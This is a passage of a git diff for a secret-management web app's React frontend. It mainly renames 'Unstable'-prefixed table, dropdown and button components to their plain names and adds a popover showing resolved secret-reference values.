           </TooltipTrigger>
           <TooltipContent className="max-w-lg">{secretRotation.folder.path}</TooltipContent>
         </Tooltip>
-      </UnstableTableCell>
-      <UnstableTableCell className="text-right">
+      </TableCell>
+      <TableCell className="text-right">
         <ChevronRightIcon className="ml-auto size-4 text-muted" />
-      </UnstableTableCell>
-    </UnstableTableRow>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSyncStatusBadgeOverview/SecretSyncStatusBadgeOverview.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSyncStatusBadgeOverview/SecretSyncStatusBadgeOverview.tsx
index 6108eb253dd..da39ddd01dd 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSyncStatusBadgeOverview/SecretSyncStatusBadgeOverview.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSyncStatusBadgeOverview/SecretSyncStatusBadgeOverview.tsx
@@ -8,12 +8,12 @@ import {
   Popover,
   PopoverContent,
   PopoverTrigger,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
 import { useProject } from "@app/context";
@@ -130,34 +130,32 @@ export const SecretSyncStatusBadgeOverview = ({ environmentSlugs }: Props) => {
       </PopoverTrigger>
       <PopoverContent onWheel={(e) => e.stopPropagation()} align="end" className="w-lg">
         <div className="mb-3 text-xs font-medium">{popoverTitle}</div>
-        <UnstableTable containerClassName="max-h-[300px] overflow-y-auto">
-          <UnstableTableHeader className="sticky -top-px z-20 bg-container [&_tr]:border-b-0">
-            <UnstableTableRow>
-              <UnstableTableHead className="w-[15%] shadow-[inset_0_-1px_0_var(--color-border)]" />
-              <UnstableTableHead className="w-[85%] shadow-[inset_0_-1px_0_var(--color-border)]">
+        <Table containerClassName="max-h-[300px] overflow-y-auto">
+          <TableHeader className="sticky -top-px z-20 bg-container [&_tr]:border-b-0">
+            <TableRow>
+              <TableHead className="w-[15%] shadow-[inset_0_-1px_0_var(--color-border)]" />
+              <TableHead className="w-[85%] shadow-[inset_0_-1px_0_var(--color-border)]">
                 Name
-              </UnstableTableHead>
-              <UnstableTableHead className="shadow-[inset_0_-1px_0_var(--color-border)]">
-                Status
-              </UnstableTableHead>
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              </TableHead>
+              <TableHead className="shadow-[inset_0_-1px_0_var(--color-border)]">Status</TableHead>
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {filteredSyncs.map((sync) => (
-              <UnstableTableRow key={sync.id} onClick={() => handleNavigateToSync(sync)}>
-                <UnstableTableCell>
+              <TableRow key={sync.id} onClick={() => handleNavigateToSync(sync)}>
+                <TableCell>
                   <img
                     alt={`${SECRET_SYNC_MAP[sync.destination].name} sync`}
                     src={`/images/integrations/${SECRET_SYNC_MAP[sync.destination].image}`}
                     className="h-5 w-5"
                   />
-                </UnstableTableCell>
-                <UnstableTableCell className="max-w-0 min-w-32!">
+                </TableCell>
+                <TableCell className="max-w-0 min-w-32!">
                   <div className="flex items-center gap-2">
                     <span className="truncate">{sync.name}</span>
                   </div>
-                </UnstableTableCell>
-                <UnstableTableCell>
+                </TableCell>
+                <TableCell>
                   {sync.syncStatus && (
                     <SecretSyncStatusBadge
                       status={sync.syncStatus}
@@ -165,11 +163,11 @@ export const SecretSyncStatusBadgeOverview = ({ environmentSlugs }: Props) => {
                       lastSyncMessage={sync.lastSyncMessage}
                     />
                   )}
-                </UnstableTableCell>
-              </UnstableTableRow>
+                </TableCell>
+              </TableRow>
             ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       </PopoverContent>
     </Popover>
   );
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretAccessInsights.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretAccessInsights.tsx
index edec3342bc7..c242ff29045 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretAccessInsights.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretAccessInsights.tsx
@@ -26,7 +26,17 @@ import {
   CommandInput,
   CommandItem,
   CommandList,
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
   FilterableSelect,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
@@ -41,25 +51,15 @@ import {
   SheetTitle,
   Skeleton,
   Switch,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   OrgPermissionActions,
@@ -616,20 +616,20 @@ export function SecretAccessInsights({ secretKey, environment, secretPath }: Pro
               placeholder="Search by name..."
             />
           </InputGroup>
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger asChild>
-              <UnstableIconButton
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <IconButton
                 variant={isFilterActive ? "project" : "outline"}
                 aria-label="Filter by type"
               >
                 <FilterIcon />
-              </UnstableIconButton>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent align="end">
+              </IconButton>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end">
               {ALL_TYPE_FILTERS.map((type) => {
                 const { icon: TypeIcon, label } = TYPE_CONFIG[type];
                 return (
-                  <UnstableDropdownMenuCheckboxItem
+                  <DropdownMenuCheckboxItem
                     key={type}
                     checked={typeFilters.has(type)}
                     onCheckedChange={() => toggleTypeFilter(type)}
@@ -637,11 +637,11 @@ export function SecretAccessInsights({ secretKey, environment, secretPath }: Pro
                   >
                     <TypeIcon className="size-4" />
                     {label}
-                  </UnstableDropdownMenuCheckboxItem>
+                  </DropdownMenuCheckboxItem>
                 );
               })}
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
+            </DropdownMenuContent>
+          </DropdownMenu>
           <AddMemberPopover
             secretKey={secretKey}
             environment={environment}
@@ -650,61 +650,61 @@ export function SecretAccessInsights({ secretKey, environment, secretPath }: Pro
         </div>
         {/* eslint-disable-next-line no-nested-ternary */}
         {isLoading ? (
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead>Type</UnstableTableHead>
-                <UnstableTableHead>Name</UnstableTableHead>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>Type</TableHead>
+                <TableHead>Name</TableHead>
                 {PERMISSION_COLUMNS.filter((col) => !col.isLegacy).map((col) => (
-                  <UnstableTableHead key={col.action} className="w-[100px] text-center">
+                  <TableHead key={col.action} className="w-[100px] text-center">
                     {col.label}
-                  </UnstableTableHead>
+                  </TableHead>
                 ))}
-                <UnstableTableHead className="w-10" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+                <TableHead className="w-10" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {Array.from({ length: 10 }).map((_, i) => (
-                <UnstableTableRow key={`skeleton-row-${String(i)}`}>
-                  <UnstableTableCell>
+                <TableRow key={`skeleton-row-${String(i)}`}>
+                  <TableCell>
                     <Skeleton className="h-4 w-16 rounded" />
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     <Skeleton className="h-4 w-24 rounded" />
-                  </UnstableTableCell>
+                  </TableCell>
                   {PERMISSION_COLUMNS.filter((col) => !col.isLegacy).map((col) => (
-                    <UnstableTableCell key={col.action} className="w-[100px] text-center">
+                    <TableCell key={col.action} className="w-[100px] text-center">
                       <Skeleton className="mx-auto h-4 w-4 rounded" />
-                    </UnstableTableCell>
+                    </TableCell>
                   ))}
-                  <UnstableTableCell>
+                  <TableCell>
                     <Skeleton className="h-4 w-6 rounded" />
-                  </UnstableTableCell>
-                </UnstableTableRow>
+                  </TableCell>
+                </TableRow>
               ))}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
         ) : filteredRows.length === 0 ? (
-          <UnstableEmpty className="border">
-            <UnstableEmptyHeader>
-              <UnstableEmptyTitle>No Results Found</UnstableEmptyTitle>
-              <UnstableEmptyDescription>
+          <Empty className="border">
+            <EmptyHeader>
+              <EmptyTitle>No Results Found</EmptyTitle>
+              <EmptyDescription>
                 No users, groups, or identities match your search.
-              </UnstableEmptyDescription>
-            </UnstableEmptyHeader>
-          </UnstableEmpty>
+              </EmptyDescription>
+            </EmptyHeader>
+          </Empty>
         ) : (
-          <UnstableTable containerClassName="overflow-auto">
-            <UnstableTableHeader className="sticky -top-px z-20 bg-container [&_tr]:border-b-0">
-              <UnstableTableRow>
-                <UnstableTableHead className="w-48 border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
+          <Table containerClassName="overflow-auto">
+            <TableHeader className="sticky -top-px z-20 bg-container [&_tr]:border-b-0">
+              <TableRow>
+                <TableHead className="w-48 border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
                   Type
-                </UnstableTableHead>
-                <UnstableTableHead className="border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
+                </TableHead>
+                <TableHead className="border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
                   Name
-                </UnstableTableHead>
+                </TableHead>
                 {visibleColumns.map((col) => (
-                  <UnstableTableHead
+                  <TableHead
                     key={col.action}
                     className="w-[100px] border-b-0 text-center shadow-[inset_0_-1px_0_var(--color-border)]"
                   >
@@ -724,23 +724,23 @@ export function SecretAccessInsights({ secretKey, environment, secretPath }: Pro
                     ) : (
                       col.label
                     )}
-                  </UnstableTableHead>
+                  </TableHead>
                 ))}
-                <UnstableTableHead className="w-10 border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+                <TableHead className="w-10 border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {filteredRows.map((row) => {
                 const { icon: TypeIcon, label: typeLabel } = TYPE_CONFIG[row.type];
                 return (
-                  <UnstableTableRow key={`${row.type}-${row.entry.id}`}>
-                    <UnstableTableCell>
+                  <TableRow key={`${row.type}-${row.entry.id}`}>
+                    <TableCell>
                       <span className="flex items-center gap-2">
                         <TypeIcon className="size-4 text-accent" />
                         {typeLabel}
                       </span>
-                    </UnstableTableCell>
-                    <UnstableTableCell isTruncatable className="max-w-[180px] font-medium">
+                    </TableCell>
+                    <TableCell isTruncatable className="max-w-[180px] font-medium">
                       <div className="flex items-center gap-1.5">
                         <span className="truncate">{row.entry.name}</span>
                         {row.inheritedFromGroups && row.inheritedFromGroups.length > 0 && (
@@ -760,12 +760,12 @@ export function SecretAccessInsights({ secretKey, environment, secretPath }: Pro
                           </Tooltip>
                         )}
                       </div>
-                    </UnstableTableCell>
+                    </TableCell>
                     {visibleColumns.map((col) => {
                       const hasDirect = row.entry.allowedActions.includes(col.action);
                       const hasInherited = row.inheritedActions?.has(col.action);
                       return (
-                        <UnstableTableCell key={col.action} className="w-[100px] text-center">
+                        <TableCell key={col.action} className="w-[100px] text-center">
                           {/* eslint-disable-next-line no-nested-ternary */}
                           {hasDirect ? (
                             <CheckIcon className="mx-auto size-4 text-success" />
@@ -779,27 +779,27 @@ export function SecretAccessInsights({ secretKey, environment, secretPath }: Pro
                           ) : (
                             <BanIcon className="mx-auto size-4 text-muted" />
                           )}
-                        </UnstableTableCell>
+                        </TableCell>
                       );
                     })}
-                    <UnstableTableCell className="text-right">
-                      <UnstableDropdownMenu>
-                        <UnstableDropdownMenuTrigger asChild>
-                          <UnstableIconButton size="xs" variant="ghost">
+                    <TableCell className="text-right">
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                          <IconButton size="xs" variant="ghost">
                             <MoreHorizontalIcon />
-                          </UnstableIconButton>
-                        </UnstableDropdownMenuTrigger>
-                        <UnstableDropdownMenuContent align="end">
+                          </IconButton>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent align="end">
                           {row.onEdit && (
                             <Tooltip open={row.canEdit ? false : undefined}>
                               <TooltipTrigger>
-                                <UnstableDropdownMenuItem
+                                <DropdownMenuItem
                                   isDisabled={!row.canEdit}
                                   onClick={() => row.onEdit?.()}
                                 >
                                   <PlusIcon />
                                   Add Additional Privilege
-                                </UnstableDropdownMenuItem>
+                                </DropdownMenuItem>
                               </TooltipTrigger>
                               <TooltipContent side="left">
                                 {row.isSelf
@@ -808,20 +808,20 @@ export function SecretAccessInsights({ secretKey, environment, secretPath }: Pro
                               </TooltipContent>
                             </Tooltip>
                           )}
-                          <UnstableDropdownMenuItem asChild>
+                          <DropdownMenuItem asChild>
                             <Link to={row.linkTo as "."} params={row.linkParams} target="_blank">
                               <ExternalLinkIcon />
                               {row.isSelf ? "View" : "Manage"} Access
                             </Link>
-                          </UnstableDropdownMenuItem>
-                        </UnstableDropdownMenuContent>
-                      </UnstableDropdownMenu>
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                          </DropdownMenuItem>
+                        </DropdownMenuContent>
+                      </DropdownMenu>
+                    </TableCell>
+                  </TableRow>
                 );
               })}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
         )}
       </div>
 
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretEditTableRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretEditTableRow.tsx
index 2ceed0bc86d..c61cc265847 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretEditTableRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretEditTableRow.tsx
@@ -27,29 +27,33 @@ import { twMerge } from "tailwind-merge";
 import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
-import { SecretReferenceTree } from "@app/components/secrets/SecretReferenceDetails";
+import {
+  hasSecretReference,
+  ResolvedSecretValuePopover,
+  SecretReferenceTree
+} from "@app/components/secrets/SecretReferenceDetails";
 import { DeleteActionModal, Input, Modal, ModalContent } from "@app/components/v2";
 import { InfisicalSecretInput } from "@app/components/v2/InfisicalSecretInput";
 import {
   Badge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
   Popover,
   PopoverContent,
   PopoverTrigger,
+  Separator,
   Sheet,
   SheetContent,
   SheetDescription,
   SheetHeader,
   SheetTitle,
+  TableCell,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableSeparator,
-  UnstableTableCell
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -188,6 +192,8 @@ export const SecretEditTableRow = ({
   const batchStore = useBatchStoreApi();
 
   const [isFieldFocused, setIsFieldFocused] = useToggle();
+  const [isResolvedValueOpen, setIsResolvedValueOpen] = useToggle();
+  const isFieldActive = isFieldFocused || isResolvedValueOpen;
   const [isCopied, , setIsCopied] = useTimedReset<boolean>({ initialState: false });
 
   const fetchSharedValueParams =
@@ -214,7 +220,7 @@ export const SecretEditTableRow = ({
     isError: isErrorFetchingSharedValue,
     refetch: refetchSharedValue
   } = useGetSecretValue(fetchSharedValueParams, {
-    enabled: canFetchSharedValue && (isVisible || isFieldFocused)
+    enabled: canFetchSharedValue && (isVisible || isFieldActive)
   });
 
   const isFetchingSharedValue = canFetchSharedValue && isPendingSharedValue;
@@ -880,6 +886,8 @@ export const SecretEditTableRow = ({
   const isDirtyState =
     isDirty && (dirtyFields.key || dirtyFields.value) && !isImportedSecret && !isBatchMode;
 
+  const secretHasReference = hasSecretReference(watchedValue as string);
+
   const valueContent = (
     <>
       <DeleteActionModal
@@ -904,11 +912,21 @@ export const SecretEditTableRow = ({
         )}
         <div
           className={twMerge(
-            "grow pr-2 pl-1",
-            isFieldFocused && !isBatchMode && "pr-16",
-            isFieldFocused && isBatchMode && "pr-6"
+            "relative grow pr-2 pl-1",
+            isFieldActive && !isBatchMode && "pr-16",
+            isFieldActive && isBatchMode && "pr-6"
           )}
         >
+          {isFieldActive && !secretValueHidden && !isCreatable && secretHasReference && (
+            <ResolvedSecretValuePopover
+              environment={environment}
+              secretPath={secretPath}
+              secretKey={secretName}
+              open={isResolvedValueOpen}
+              onOpenChange={setIsResolvedValueOpen.toggle}
+              isDisabled={isDirtyState || hasPendingValueChange}
+            />
+          )}
           <Controller
             control={control}
             name="value"
@@ -926,13 +944,14 @@ export const SecretEditTableRow = ({
                         : (field.value as string)
                 }
                 key="secret-input-shared"
-                isVisible={isVisible}
+                isVisible={isVisible || isResolvedValueOpen}
                 secretPath={secretPath}
                 environment={environment}
                 isImport={isImportedSecret}
                 defaultValue={secretValueHidden ? "" : undefined}
                 canEditButNotView={secretValueHidden}
                 onFocus={() => setIsFieldFocused.on()}
+                containerClassName={secretHasReference && isFieldActive ? "pl-6" : ""}
                 onBlur={() => {
                   field.onBlur();
                   setIsFieldFocused.off();
@@ -941,11 +960,11 @@ export const SecretEditTableRow = ({
             )}
           />
         </div>
-        {!isDirtyState && !isFieldFocused && (
+        {!isDirtyState && !isFieldActive && (
           <div className="flex w-fit items-start justify-end self-start pl-2">
             <div className="flex items-center gap-1">
               {comment && !isImportedSecret && (
-                <Tooltip delayDuration={300}>
+                <Tooltip>
                   <TooltipTrigger asChild>
                     <span className="flex size-5 items-center justify-center text-muted">
                       <MessageSquareIcon className="size-3.5" />
@@ -955,7 +974,7 @@ export const SecretEditTableRow = ({
                 </Tooltip>
               )}
               {canReadTags && tags?.length && !isImportedSecret ? (
-                <Tooltip delayDuration={300}>
+                <Tooltip>
                   <TooltipTrigger asChild>
                     <span className="flex size-5 items-center justify-center text-muted">
                       <TagsIcon className="size-3.5" />
@@ -967,7 +986,7 @@ export const SecretEditTableRow = ({
                 </Tooltip>
               ) : null}
               {reminder && !isImportedSecret && (
-                <Tooltip delayDuration={300}>
+                <Tooltip>
                   <TooltipTrigger asChild>
                     <span className="flex size-5 items-center justify-center text-muted">
                       <BellIcon className="size-3.5" />
@@ -977,7 +996,7 @@ export const SecretEditTableRow = ({
                 </Tooltip>
               )}
               {secretMetadata?.length && !isImportedSecret ? (
-                <Tooltip delayDuration={300}>
+                <Tooltip>
                   <TooltipTrigger asChild>
                     <span className="flex size-5 items-center justify-center text-muted">
                       <CodeXmlIcon className="size-3.5" />
@@ -987,7 +1006,7 @@ export const SecretEditTableRow = ({
                 </Tooltip>
               ) : null}
               {skipMultilineEncoding && !isImportedSecret && (
-                <Tooltip delayDuration={300}>
+                <Tooltip>
                   <TooltipTrigger asChild>
                     <span className="flex size-5 items-center justify-center text-muted">
                       <WrapTextIcon className="size-3.5" />
@@ -1020,14 +1039,14 @@ export const SecretEditTableRow = ({
               <div>
                 <Tooltip>
                   <TooltipTrigger>
-                    <UnstableIconButton
+                    <IconButton
                       size="xs"
                       variant="success"
                       isDisabled={isSubmitting || !isAllowed}
                       onClick={handleSubmit(handleFormSubmit)}
                     >
                       <SaveIcon />
-                    </UnstableIconButton>
+                    </IconButton>
                   </TooltipTrigger>
                   <TooltipContent>Save changes</TooltipContent>
                 </Tooltip>
@@ -1037,21 +1056,21 @@ export const SecretEditTableRow = ({
           <div>
             <Tooltip>
               <TooltipTrigger asChild>
-                <UnstableIconButton
+                <IconButton
                   variant="danger"
                   size="xs"
                   onClick={handleFormReset}
                   isDisabled={isSubmitting}
                 >
                   <Undo2Icon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Undo changes</TooltipContent>
             </Tooltip>
           </div>
         </div>
       )}
-      {isFieldFocused &&
+      {isFieldActive &&
         !(
           isDirty &&
           (dirtyFields.key || dirtyFields.value) &&
@@ -1084,16 +1103,16 @@ export const SecretEditTableRow = ({
             "pointer-events-none opacity-0 transition-all duration-300",
             "group-hover:pointer-events-auto group-hover:gap-1 group-hover:opacity-100",
             shouldStayExpanded && "pointer-events-auto gap-1 opacity-100",
-            isFieldFocused &&
+            isFieldActive &&
               !showMenuWhileFocused &&
               "group-hover:pointer-events-none group-hover:gap-0 group-hover:opacity-0",
-            isFieldFocused && showMenuWhileFocused && "pointer-events-auto gap-1 opacity-100",
+            isFieldActive && showMenuWhileFocused && "pointer-events-auto gap-1 opacity-100",
             isSingleEnvView ? "top-0.5 right-0.5" : "-top-[1px] -right-1.5"
           )}
         >
-          <Tooltip delayDuration={300} disableHoverableContent>
+          <Tooltip disableHoverableContent>
             <TooltipTrigger>
-              <UnstableIconButton
+              <IconButton
                 isDisabled={
                   isPendingDelete ||
                   isImportedSecret ||
@@ -1111,7 +1130,7 @@ export const SecretEditTableRow = ({
                 )}
               >
                 <EditIcon />
-              </UnstableIconButton>
+              </IconButton>
             </TooltipTrigger>
             <TooltipContent>
               {isImportedSecret
@@ -1123,9 +1142,9 @@ export const SecretEditTableRow = ({
                     : `${isCreatable ? "Add" : "Edit"} Value`}
             </TooltipContent>
           </Tooltip>
-          <Tooltip delayDuration={300} disableHoverableContent>
+          <Tooltip disableHoverableContent>
             <TooltipTrigger>
-              <UnstableIconButton
+              <IconButton
                 isDisabled={isPendingDelete || !canCopySecret}
                 onClick={handleCopySharedToClipboard}
                 variant="ghost"
@@ -1136,7 +1155,7 @@ export const SecretEditTableRow = ({
                 )}
               >
                 {isCopied ? <ClipboardCheckIcon /> : <CopyIcon />}
-              </UnstableIconButton>
+              </IconButton>
             </TooltipTrigger>
             <TooltipContent>
               {isCopied
@@ -1149,10 +1168,10 @@ export const SecretEditTableRow = ({
             </TooltipContent>
           </Tooltip>
           <Popover open={isCommentOpen} onOpenChange={setIsCommentOpen}>
-            <Tooltip delayDuration={300} disableHoverableContent>
+            <Tooltip disableHoverableContent>
               <TooltipTrigger>
                 <PopoverTrigger asChild>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     isDisabled={isPendingDelete || isCreatable || isImportedSecret}
@@ -1164,7 +1183,7 @@ export const SecretEditTableRow = ({
                     )}
                   >
                     <MessageSquareIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </PopoverTrigger>
               </TooltipTrigger>
               <TooltipContent>
@@ -1192,10 +1211,10 @@ export const SecretEditTableRow = ({
             </PopoverContent>
           </Popover>
           <Popover modal open={isTagOpen} onOpenChange={setIsTagOpen}>
-            <Tooltip delayDuration={300} disableHoverableContent>
+            <Tooltip disableHoverableContent>
               <TooltipTrigger>
                 <PopoverTrigger asChild>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     isDisabled={isPendingDelete || isCreatable || isImportedSecret || !canReadTags}
@@ -1207,7 +1226,7 @@ export const SecretEditTableRow = ({
                     )}
                   >
                     <TagsIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </PopoverTrigger>
               </TooltipTrigger>
               <TooltipContent>
@@ -1237,10 +1256,10 @@ export const SecretEditTableRow = ({
             </PopoverContent>
           </Popover>
           <Popover open={isReminderOpen} onOpenChange={setIsReminderOpen}>
-            <Tooltip delayDuration={300} disableHoverableContent>
+            <Tooltip disableHoverableContent>
               <TooltipTrigger>
                 <PopoverTrigger asChild>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     isDisabled={
@@ -1258,7 +1277,7 @@ export const SecretEditTableRow = ({
                     )}
                   >
                     <BellIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </PopoverTrigger>
               </TooltipTrigger>
               <TooltipContent>
@@ -1287,10 +1306,10 @@ export const SecretEditTableRow = ({
             </PopoverContent>
           </Popover>
           <Popover open={isMetadataOpen} onOpenChange={setIsMetadataOpen}>
-            <Tooltip delayDuration={300} disableHoverableContent>
+            <Tooltip disableHoverableContent>
               <TooltipTrigger>
                 <PopoverTrigger asChild>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     isDisabled={isPendingDelete || isCreatable || isImportedSecret}
@@ -1302,7 +1321,7 @@ export const SecretEditTableRow = ({
                     )}
                   >
                     <CodeXmlIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </PopoverTrigger>
               </TooltipTrigger>
               <TooltipContent>
@@ -1337,9 +1356,9 @@ export const SecretEditTableRow = ({
               />
             </PopoverContent>
           </Popover>
-          <Tooltip delayDuration={300} disableHoverableContent>
+          <Tooltip disableHoverableContent>
             <TooltipTrigger>
-              <UnstableIconButton
+              <IconButton
                 variant="ghost"
                 size="xs"
                 isDisabled={
@@ -1358,7 +1377,7 @@ export const SecretEditTableRow = ({
                 )}
               >
                 <WrapTextIcon />
-              </UnstableIconButton>
+              </IconButton>
             </TooltipTrigger>
             <TooltipContent>
               {isImportedSecret
@@ -1372,9 +1391,9 @@ export const SecretEditTableRow = ({
                       : "Enable Multi-line Encoding"}
             </TooltipContent>
           </Tooltip>
-          <Tooltip delayDuration={300} disableHoverableContent>
+          <Tooltip disableHoverableContent>
             <TooltipTrigger>
-              <UnstableIconButton
+              <IconButton
                 isDisabled={
                   secretValueHidden ||
                   !currentProject.secretSharing ||
@@ -1407,39 +1426,44 @@ export const SecretEditTableRow = ({
                 )}
               >
                 <ForwardIcon />
-              </UnstableIconButton>
+              </IconButton>
             </TooltipTrigger>
             <TooltipContent>{getTooltipContentForSecretSharing()}</TooltipContent>
           </Tooltip>
           {isBatchMode && hasPendingChange ? (
             <Tooltip>
               <TooltipTrigger asChild>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   className="hover:text-error"
                   size="xs"
                   onClick={() => onBatchRevert?.(environment, secretName)}
                 >
                   <Undo2Icon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Discard pending changes</TooltipContent>
             </Tooltip>
           ) : (
-            <UnstableDropdownMenu open={isDropdownOpen} onOpenChange={setIsDropdownOpen}>
-              <UnstableDropdownMenuTrigger asChild>
-                <UnstableIconButton
-                  variant="ghost"
-                  size="xs"
-                  className={twMerge(
-                    "w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7",
-                    shouldStayExpanded && "w-7"
-                  )}
-                >
-                  <EllipsisIcon />
-                </UnstableIconButton>
-              </UnstableDropdownMenuTrigger>
-              <UnstableDropdownMenuContent align="end">
+            <DropdownMenu open={isDropdownOpen} onOpenChange={setIsDropdownOpen}>
+              <Tooltip>
+                <TooltipTrigger asChild>
+                  <DropdownMenuTrigger asChild>
+                    <IconButton
+                      variant="ghost"
+                      size="xs"
+                      className={twMerge(
+                        "w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7",
+                        shouldStayExpanded && "w-7"
+                      )}
+                    >
+                      <EllipsisIcon />
+                    </IconButton>
+                  </DropdownMenuTrigger>
+                </TooltipTrigger>
+                <TooltipContent>More Options</TooltipContent>
+              </Tooltip>
+              <DropdownMenuContent align="end">
                 <ProjectPermissionCan
                   I={ProjectPermissionActions.Create}
                   a={subject(ProjectPermissionSub.Secrets, {
@@ -1456,17 +1480,16 @@ export const SecretEditTableRow = ({
                           ? undefined
                           : false
                       }
-                      delayDuration={300}
                       disableHoverableContent
                     >
                       <TooltipTrigger className="block w-full">
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           onClick={() => onAddOverride?.()}
                           isDisabled={isCreatable || isImportedSecret || isOverride || !isAllowed}
                         >
                           <GitBranchIcon />
                           Add Override
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       </TooltipTrigger>
                       <TooltipContent side="left">
                         {!isAllowed
@@ -1484,17 +1507,16 @@ export const SecretEditTableRow = ({
                 </ProjectPermissionCan>
                 <Tooltip
                   open={!canReadSecretValue || !secretId || isEmpty ? undefined : false}
-                  delayDuration={300}
                   disableHoverableContent
                 >
                   <TooltipTrigger className="block w-full">
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       onClick={() => setIsSecretReferenceOpen(true)}
                       isDisabled={!canReadSecretValue || !secretId || isEmpty}
                     >
                       <WorkflowIcon />
                       Secret References
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   </TooltipTrigger>
                   <TooltipContent side="left">
                     {!canReadSecretValue
@@ -1511,17 +1533,16 @@ export const SecretEditTableRow = ({
                   {(isAllowed) => (
                     <Tooltip
                       open={isImportedSecret || isCreatable || !isAllowed ? undefined : false}
-                      delayDuration={300}
                       disableHoverableContent
                     >
                       <TooltipTrigger className="block w-full">
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           onClick={() => setIsVersionHistoryOpen(true)}
                           isDisabled={!secretId || isCreatable || isImportedSecret || !isAllowed}
                         >
                           <HistoryIcon />
                           Version History
-                        </UnstableDropdownMenuItem>
